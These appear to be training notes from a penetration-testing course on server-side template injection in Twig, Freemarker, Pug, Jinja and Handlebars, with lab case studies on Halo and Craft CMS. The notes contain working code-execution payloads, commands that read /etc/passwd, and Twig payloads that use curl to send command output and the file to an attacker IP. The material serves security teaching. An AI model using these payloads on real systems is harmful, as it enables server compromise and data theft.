Module 12: Server-side Template Injection - Discovery and Exploitation

Templating Engines

Accessing the Template Sandbox

Start the VPN, VM, and add IP to hosts.

Introduction to Templating Engines

Example Email

Hello Dragan,

Thank you for your order! Your items will be shipped out shortly:

Widget - $10
	Quantity: 3
	Total: 	$30
Toolkit - $20
	Quantity: 1
	Total: 	$20
_______________
Total: 		$50

These items will be shipped to:

194 Bridge Avenue Elton, Louisiana 70532

Example Template Email

01  Hello {{ name }},
02
03  Thank you for your order! Your items will be shipped out shortly:
04  {% for product in cart %}
05  {{product.name}}
06          Price:  ${{product.price}}
07          Quantity: {{product.quantity}}
08          Total:  ${{product.quantity * product.price}}
09  {% endfor %}____________________
10  Total:          ${{total}}
11
12  {% if cart|length > 1 %}
13  These items{% else %}
14  This item{% endif %} will be shipped to:
15  {{address}}

Example Template Variables

{
	"name": "Dragan",
	"address": "194 Bridge Avenue Elton, Louisiana 70532",
	"cart": [
		{
			"name": "Widget",
			"quantity": 3,
			"price": 10
		},
		{
			"name": "Toolkit",
			"quantity": 1,
			"price": 20
		}
	],
	"total": 50
}

Greeting the user

01  Hello {{ name }},
...

Template For Loop

04  {% for product in cart %}
05  {{product.name}}
06          Price:  ${{product.price}}
07          Quantity: {{product.quantity}}
08          Total:  ${{product.quantity * product.price}}
09  {% endfor %}

Displaying the total

10  Total:          ${{total}}

Template If Statement

12  {% if cart|length > 1 %}
13  These items{% else %}
14  This item{% endif %} will be shipped to:
15  {{address}}

Various Templating Engines

Templating Engine
Language
Server/client Side

Twig

PHP

Server Side

Freemarker

Java (usually)

Server Side

Pug/Jade

JavaScript

Mostly Server Side

Jinja

Python

Server Side

Handlebars

JavaScript

Both

Mustache

Multiple

Varies

Comparing levels of logic

Twig - Discovery and Exploitation

Twig - Discovery

Inline PHP before Twig

<h1><?php echo $name ?></h1>

<p>Welcome to our site!</p>

<?php 
if ($isAdmin) {
  echo "<p>You are the supreme leader and we love you</p>";
}
?>

Twig Template

<h1>{% if not admin %}sudo {% endif %}make me a sandwich, {{name|capitalize}}!</h1>
We are using Twig remotely to generate this template

Twig Statement

{% if not admin %}sudo {% endif %}

Twig - Exploitation

Twig Filters

Twig Documentation Example

{% set numbers = [1, 2, 3] %}

{{ numbers|reduce((carry, v) => carry + v) }}
{# output 6 #}

Arguments for the reduce Function

Arguments

    arrow: The arrow function
    initial: The initial value

var_dump payload

{{[0]|reduce('var_dump','Hello')}}

var_dump Payload output

string(5) "Hello"
int(0)

whoami Payload

{{[0]|reduce('system','whoami')}}
Twig RCE

Apache Freemarker - Discovery and Exploitation

Freemarker - Discovery

Freemarker Template

01  <h1>Hello ${name}!</h1>
02  <#if name == "hacker">
03  The top reasons you're great:
04    <#list reasons as reason>
05     ${reason?index + 1}: ${reason}
06    </#list>
07  </#if>
Freemarker Variables

If Statement in Freemarker

02  <#if name == "hacker">
...
07  </#if>
Name set to "hacker"

Loop in Freemarker

04    <#list reasons as reason>
05     ${reason?index + 1}: ${reason}
06    </#list>

Freemarker tends to be more susceptible to XSS than other templating engines due to the requirements before 2016 to have developers specify if a variable needs to be HTML escaped.

HTML in name Variable
Freemarker Multiply Number
Freemarker multiple Number and String

Freemarker - Exploitation

Freemarker Execute Documentations

Freemarker Execute Payload

${"freemarker.template.utility.Execute"?new()("whoami")}
Freemarker RCE

In this scenario, the target is running the application as root. However, it is in a containerized environment, so this might not always be the case.

Pug - Discovery and Exploitation

Pug - Discovery

Pug Template

01   h1 Hello, #{name}
02   input(type='hidden' name='admin' value='true')
03 
04   if showSecret
05     - secret = ['❤️','😍', '🤟']
06     p The secrets are: 
07     each val in secret
08       p #{val}
09   else
10    p No secret for you!

Attributes in Pug

02   input(type='hidden' name='admin' value='true')

if statement in Pug

04   if showSecret
...
09   else
10     p No secret for you!

Code in Pug

05     - secret = ['❤️','😍', '🤟']

Buffered Code

= secret = ['❤️','😍', '🤟']

Pug Loop

07     each val in secret
08       p #{val}
Discovering Pug

Pug - Exploitation

Pug - require Does not Exist
Pug - global.process.mainModule.require

Storing require as Variable

- var require = global.process.mainModule.require
= require('child_process')
Pug - Requiring child_process

Executing spawnSync

- var require = global.process.mainModule.require
= require('child_process').spawnSync('whoami').stdout

In this scenario, the target is running the application as root. However, it is in a containerized environment. This might not always be the case.

Jinja - Discovery and Exploitation

Jinja - Discovery

Jinja Templating Engine

01	<h1>Hey {{ name }}</h1>
02	{% if reasons %}
03	Here are a couple of reasons why you are great:
04	<ul>
05	{% for r in reasons %}
06		<li>{{r}}</li>
07	{% endfor %}
08	</ul>
09	{% endif %}
Jinja multiplying with string

Jinja - Exploitation

Jinja - Config Key

Mustache and Handlebars - Discovery and Exploitation

Mustache and Handlebars - Discovery

Handlebars Template

01  <h1>Hello {{name}}</h1>
02  {{#if nicknames}}
03  Also known as:
04    {{#each nicknames}}
05        {{this}}
06    {{/each}}
07  {{/if}}
08
09  We are using handlebars locally in your browser to generate this template

Handlebars Expression

01  <h1>Hello {{name}}</h1>

Handlebars Helpers

02  {{#if nicknames}}
03  Also known as:
04    {{#each nicknames}}
05        {{this}}
06    {{/each}}
07  {{/if}}

Mustache and Handlebars - Exploitation

For the most part Handlebars is fairly safe due to it being logicless, however helpers can cause it to be "vulnerable".

Handlebars - Reading Directory
Handlebars - Read /etc/passwd

Halo - Case Study

Accessing Halo

Start the VPN, the VM, and add IP to hosts.

Halo - Translation and Discovery

Install an extension to translate the page if the browser won't do it automatically — I installed Translate Web Page from Filipe Dev into Firefox.

Halo Admin Page
Halo Theme Editor Navigation
Halo Theme Editor

404.ftl

01  <!DOCTYPE html>
02  <html>
03  <head>
04      <meta http-equiv="content-type" content="text/html; charset=utf-8">
05      <link rel="alternate" type="application/rss+xml" title="atom 1.0" href="/atom.xml">
06      <title>Not Found</title>
07      <link href="${static!}/source/css/style.min.css" type="text/css" rel="stylesheet"/>
08  </head>
09  <div class="page_404">
10      <p>The page you are looking for is missing</p>
11  </div>
12  </html>

404 page with Halo

kali@kali:~$ curl -L http://halo/DoesNotExist 
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
    <link rel="alternate" type="application/rss+xml" title="atom 1.0" href="/atom.xml">
    <title>Not Found</title>
    <link href="http://halo/anatole/source/css/style.min.css" type="text/css" rel="stylesheet"/>
</head>
<div class="page_404">
    <p>The page you are looking for is missing</p>
</div>
</html>  

Non-freemarker template response

...
11  </div>
12  </html>
13  {{5*5}}

Freemarker Template Response

kali@kali:~$ curl -L http://halo/DoesNotExist
...
</html>
25

Freemarker template with string response

...
11  </div>
12  </html>
13  ${5*'5'}

Halo - Exploitation

Freemarker RCE Payload

${"freemarker.template.utility.Execute"?new()("whoami")}
Halo - Template Injection to view /etc/passwd

/etc/passwd in Halo

kali@kali:~$ curl -L http://halo/DoesNotExist
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Extra Mile

Do the lab.

Craft CMS with Sprout Forms - Case Study

Accessing Craft CMS

Start the VPN, the VM, and add the IP to yours hosts.

Craft CMS with Sprout Forms - Discovery

Craft CMS Home page with Sprout Form
Discovering possible PHP and Craft CMS

Running Gobuster against the craft webpage

kali@kali:~$ gobuster dir --wordlist /usr/share/wordlists/dirb/common.txt --url http://craft/
...
===============================================================
/admin                (Status: 302) [Size: 0] [--> http://craft/admin/login]
/index                (Status: 200) [Size: 56284]                           
/Index                (Status: 200) [Size: 56284]                           
/index.php            (Status: 200) [Size: 56284]                           
/logout               (Status: 302) [Size: 0] [--> http://craft/]           
...
Craft Admin Page
Submitting Form
Form Email
Submitting Template

cURL Payload

{{[0]|reduce('system','curl http://192.168.49.51/helloFromTheOtherSide')}}

Python HTTP Server

kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

SSTI Confirmation

192.168.51.105 - - [09/Jul/2021 14:28:16] code 404, message File not found
192.168.51.105 - - [09/Jul/2021 14:28:16] "GET /helloFromTheOtherSide HTTP/1.1" 404 -

Craft CMS with Sprout Forms - Exploitation

Twig Sandbox

Exfiltration Payload

{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}

Exfiltration in HTTP log

192.168.51.101 - - [09/Jul/2021 14:44:49] "GET /?exfil= HTTP/1.1" 200 -

URL Encoding Exfil

{% set exfil = "Hello & Goodbye"| url_encode %}
{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}

Encoded message in HTTP log

192.168.51.101 - - [09/Jul/2021 15:45:57] "GET /?exfil=Hello%20%26%20Goodbye HTTP/1.1" 200 -

Executing whoami and Exfiltrating the Output

{% set output %}
{{[0]|reduce('system','whoami')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}

Output of whoami Logged

192.168.51.101 - - [09/Jul/2021 15:55:59] "GET /?exfil=www-data%0Awww-data%0A HTTP/1.1" 200 -
Payload in Craft CMS

/etc/passwd From Craft

192.168.51.105 - - [09/Jul/2021 15:57:50] "GET /?exfil=%3Cbr%20%2F%3E%0Aroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fash%0Abin%3Ax%3A1%3A1%3Abin%3A%2Fbin%3A%2Fsbin%2Fnologin%0Adaemon%3Ax%3A2%3...
Burp Decoder
Selecting URL Decoding
Burp Decoding /etc/passwd

Last updated